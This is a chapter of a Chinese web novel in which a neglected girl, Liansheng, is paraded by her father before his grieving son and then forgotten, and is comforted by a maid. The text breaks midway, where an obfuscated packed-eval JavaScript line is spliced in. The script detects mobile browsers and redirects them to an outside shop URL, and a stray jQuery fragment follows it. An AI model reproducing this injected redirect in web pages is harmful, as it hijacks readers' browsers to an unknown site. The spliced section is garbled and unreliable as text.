我生于春夏交接之时。
我落地那日,恰逢家主立于水亭内赏花。彼时莲叶正生气蓬勃,放眼望去,无穷碧绿。得知婉娘生了个女儿,家主望着满池亭亭净植的莲叶,遂沉吟片刻,为我取名莲生。
莲生挣着一口气活了,婉娘却不出半炷香的功夫就死了。
大夫说,婉娘是日夜惊惧下心碎而死。
婉娘死后,家主叹一声气,可怜她无依无靠,就着人为她好生收殓,并亲自领了府中姬妾送她最后一程。
唯独夫人不曾露面。
夫人喜洁,见不得腌臜事。不仅婉娘,连我也入不了她老人家的眼。
可惜我当时年幼,尚且不知世事,故而听信府里下人唬弄,以为自己是相貌丑陋、俗不可耐,方被拘在这三十尺见方的小院。
小院里,除了每隔三天过来打扫一次的下人,便只有我和嬷嬷。
嬷嬷时常劝我要知足,她说没有比殷家更宽容慈爱的主人了。
彼时,我一边仰脸茫然地听她说,一边张嘴小口小口吃嬷嬷喂的肉粥。粥用完,我似懂非懂点头。
嬷嬷满意地笑了。
嬷嬷走后,我继续一个人抱腿坐在廊下。
前几日阴雨连天,一直不见放晴。如今虽冒出一点青灰的太阳,檐角的积水却仍旧滴滴答答地在下雨。
我闲得无聊,遂伏在膝盖上,把手小心翼翼伸出去。雨水绕过我的手溅落,我失望地抬头看一眼,又看一眼。慢慢地,便作势缩回去。
可刚有所动作,便有几滴雨水接连砸在手掌上。
我一呆,顿时开心地弯起眼睛。
笑到一半,抬起头,忽而看见月洞门外,一个男人正沉静地凝视我。我心里十分紧张,不自觉把手背在身后,低着头迟缓地站起来。
这个中年男人穿着暗紫的外袍,保养得宜的脸孔留着长度适宜的美髯。
他望着我,说:“你刚刚笑得很好看,为什么不笑了?”
我攥紧手,嘴唇蠕动着不知如何作答。
中年男人轻轻叹一声气:“你长得同婉娘很像。”
我悄悄抬起一双眼睛,小声问:“婉娘是谁?”
“你不知道?”他愣了一瞬,似乎很惊讶,“她是你母亲。”
我缓缓摇头:“嬷嬷说,只有夫人是我母亲。”但夫人不喜欢我。
中年男人闻言默然良久。
过了好一会儿,他仍旧不说话。我便忍不住嫌他总站在这儿,烦得很,想问他究竟何时走。他却忽然告诉我,他就是我那个素未谋面的父亲。
“你是老爷?”我睁大眼。
中年男人极为温和地抚摸我头顶,眼中有我看不清的神色。
他问:“莲生住在这儿高兴吗?”
我张张嘴,想说不高兴。这里太荒凉太偏僻,如果有嬷嬷陪我还好。要是嬷嬷不在,我一个人半夜里总感到害怕。白天虽不可怕,却也很寂寞。
小孩子是最怕寂寞的。
但我还没像嬷嬷那样老糊涂,渐渐记不清事。我记得她常常挂在嘴边劝我要知足,因此我咽下不高兴,转而温顺地点点头。
“高兴。”我答道。
中年男人也点头,不知信了没信。
他问道:“莲生愿意和我出去走走吗?”
“我能出去?”我霍然欣喜地抬起头,目不转睛盯住他。
他还是那副包容的样子,宽和地对我笑:“自然。”
便带我出门。
-
第一次出院子,我紧张得不知如何是好。一会儿拽拽衣角,一会儿摸摸头发,生怕哪里不干净不齐整,碍了别人的眼。
可真看见了人,我才失落地发现,根本没人会看我。
所有人都隔了好远就深深弯下腰、低下头,声音也压得很低。除了开头那声恭敬的“老爷”,就都沉默着,木头人似的一动不动,等着我与家主经过。
我便泄了劲,心里说不清是松一口气,还是更堵得慌。
家主带着我往走廊尽头而去。
我费力地跟上他脚步,忍不住天真地猜想,走廊的尽头会不会有极为清丽的莲花池。
因为我虽得了个名字叫莲生,却从未见过莲。如今又是春夏交接之时,而我时常听闻嬷嬷言及府中荷叶正盛。
然而没有。
我只见到了一个男孩。
男孩独自关在屋里,门外则乌泱泱围了一大群人,哄着求着,只盼他开门吃上一口。家主去时,那些围着的人纷纷惶恐地倒退,然后齐齐跪下。
家主领着我从中间让出的一大片空地穿行而过。
门没有锁。
一推就开了。
只是除了家主,谁也不敢轻轻推那一下。
我跟进去,屋里黯淡极了,窗户紧紧闭拢,只有渺茫的一线天光从雪白的窗纸里漏出,勉强隔开半室阴影。
我尚未好奇地看清屋内陈设,忽然有东西砸来。
心脏猛地一跳,忘记了躲。
但我呆,这东西砸得也呆。
压根就是没来由地发泄,甚至没盯住了准头,不过一气儿地劈头盖脸砸来。但力道很足,每每听见两物对撞时轰然作响,俨然是带了几分恶狠狠的意味。
我吓得死死绞住手,眼睛也不肯抬。不敢想是什么样的人能当着家主的面发如此大的火气。
可我有心躲,却架不住家主也是有意拿我做人情。
家主把我从身后拽出,朝对面黑漆漆的阴影里推了一把,说:“你不是总嫌别的弟弟妹妹生得丑、又爱哭吗?我把莲生给你,好不好?”
“莲生很乖的。”他说。
然后第二次摸了我的头,但没有看我。
他始终望着对面,用那种哄孩子的语气颇有耐心地说话。听起来无奈极了,却又拿他没辙、只得纵容似的。
我咽了咽嗓子,尽管喉咙里其实干得很,并没有口水。
然后忍不住去抠背在身后的手指甲,紧张得大气都不敢喘。仿佛阴影里随时会走出来一个怪物吃我。
可等了好半天,怪物没瞧见,却瞧见了一个男孩。
男孩生得很好,唇红齿白,一双眼睛黑白分明。我偷偷掀起眼皮飞快瞄了眼,就立即垂眸,乖巧听话地站着。
他没有看我。
直接命令家主。
“出去!”他说。
家主沉下脸:“你母亲就这么教你?”
他顿时被激怒了,大发雷霆道:“是又如何?反正母亲她已经死了!”
……
名贵的玩意噼里啪啦砸了一地。
门也坏了。
我战战兢兢,抱膝躲在门边,只顾得上紧要关头捂住脑袋。
院子里越来越多人跪着。
没一个敢劝。
父子俩任一个的怒火泼下来都足以活活将他们烧死,即便是被千呼万唤请来的姨娘,也惊得花容失色,只能白了脸远远观望着,连门槛那条线都不敢迈过。
终于。
家主甩袖而去。
一群人乌泱泱地追上,一群人哆哆嗦嗦地留下。
我颤栗着从臂弯里抬眼,目光模糊地远远追去,却依稀只见乌云堆成的鬓发,以及芬芳细长的粉红倩影。
像长了脚的兰花,袅娜地遁入庭院深深里。
人群走的走、散的散。
唯独我被留在原地。
家主把我忘了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861725|212029||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
-
嬷嬷急急忙忙来寻我时,我正坐在一张石桌旁,不熟练地用筷子夹点心吃。
给我点心吃的侍女姐姐就捻着张软帕,轻轻给我擦嘴边的细屑。她穿着鹅黄的衣裙,柔嫩得像花蕊。凑到我近前时,手腕、脸庞、鬓角都有好闻的香气。
她摸了摸我的头,轻声细语地对我说话。
我望着她,眼睛眨巴了下。
心里却想起家主。
我不能讨厌家主,因为嬷嬷说,我要知足,要感激家主和夫人。但是,我以后都不要让家主摸头。
我害怕再被推出去,怕得要死。
那会儿我吓得没敢出声,侍女姐姐刚好在收拾地上的碎瓷片。她看见我,惊了一跳。后来见我缩成一团,反倒丢了瓷片,先抱住我。
她温柔地哄我,把我抱到没人的地方,让我安安静静在树荫下坐会儿。
我听话地点点头。
等侍女姐姐把屋子收拾好,她便拿着一碟糕点来看我。她递给我一双筷子,不知什么制成,白玉似的,摸起来滑溜得很。我不大会用。
她便温言细语,耐下性子教我。
好不容易夹起一块花儿似的糕点,我先举起筷子送到她嘴边,殷殷地望着。她怔住,忽然就笑了。她笑起来,格外好看,眉眼像被春风吹化了一般。
我轻轻咬住嘴唇。
侍女姐姐就摸了摸我的脸,让我自己吃。
她说:“都是你的,你慢慢吃。”
我慢慢眨了下眼睛,指着脸说:“好像有东西在蛰我的眼睛。”
侍女姐姐凑过来瞧了瞧,然后又摸了摸我的脸。
“没有东西,”她说,“是你在哭。”
……
嬷嬷把我领了回去。
她一路都在教训我,说我不该不知分寸,竟掺和进家主和少爷之间。我说我没有,我只是想出来玩。家主说,他要带我出来玩。
“结果呢?”嬷嬷沉下脸。
我低下头,没有言语。
嬷嬷这才拉着我继续往回走,一面走,一面严厉地教诲我,说做下人的要知进退,不能主子一有赏赐,就没脸没皮地上赶着去。
“你虽不是下人,却与一般少爷小姐不同,”嬷嬷凝视着我,眼中又露出那种我看不懂的复杂神色,“你不能真把自己当个小姐,你必须知道分寸。”
“下次你要说,多谢老爷的好意,莲生受不起,莲生哪儿也不去,莲生什么也不要。”嬷嬷说,“老爷还是体恤下人的。你实在不情愿,他不会逼迫你。”
我闭着嘴巴,仍旧一声不吭。
嬷嬷的声音不由拔高:“你听见了吗?听见了,就答应一声。”
于是用细若蚊蝇的声音不情愿地嗯了声。
嬷嬷看起来不大满意,但不时有人路过,她怕太招眼,因此不敢和我继续纠缠。就紧紧攥住我的手,生怕我再丢一回似的,越走越快。
中途七拐八拐,似乎不是来时那条路。我没有多心,直到路过莲花池,嬷嬷的脚步不自觉放慢。
我悄悄扭过头看一眼,大失所望:“没有花。”
“还没到季节。”
过了水池,嬷嬷脚下又虎虎生风起来。
她瞥了我一眼:“夏天就能看到了。”
我沮丧道:“可我不能出门。”
“到时候采一枝给你看,”她似乎没注意到我的惊喜,依旧那副没什么表情的样子。嬷嬷直视着前方,不厌其烦地重复道,“家主是很宽宏大量的,只是一枝荷花而已。他会允许的。”
“而你,”嬷嬷说,“你要知足。”
我听进去了。
然而那个春天过去不久,嬷嬷死了。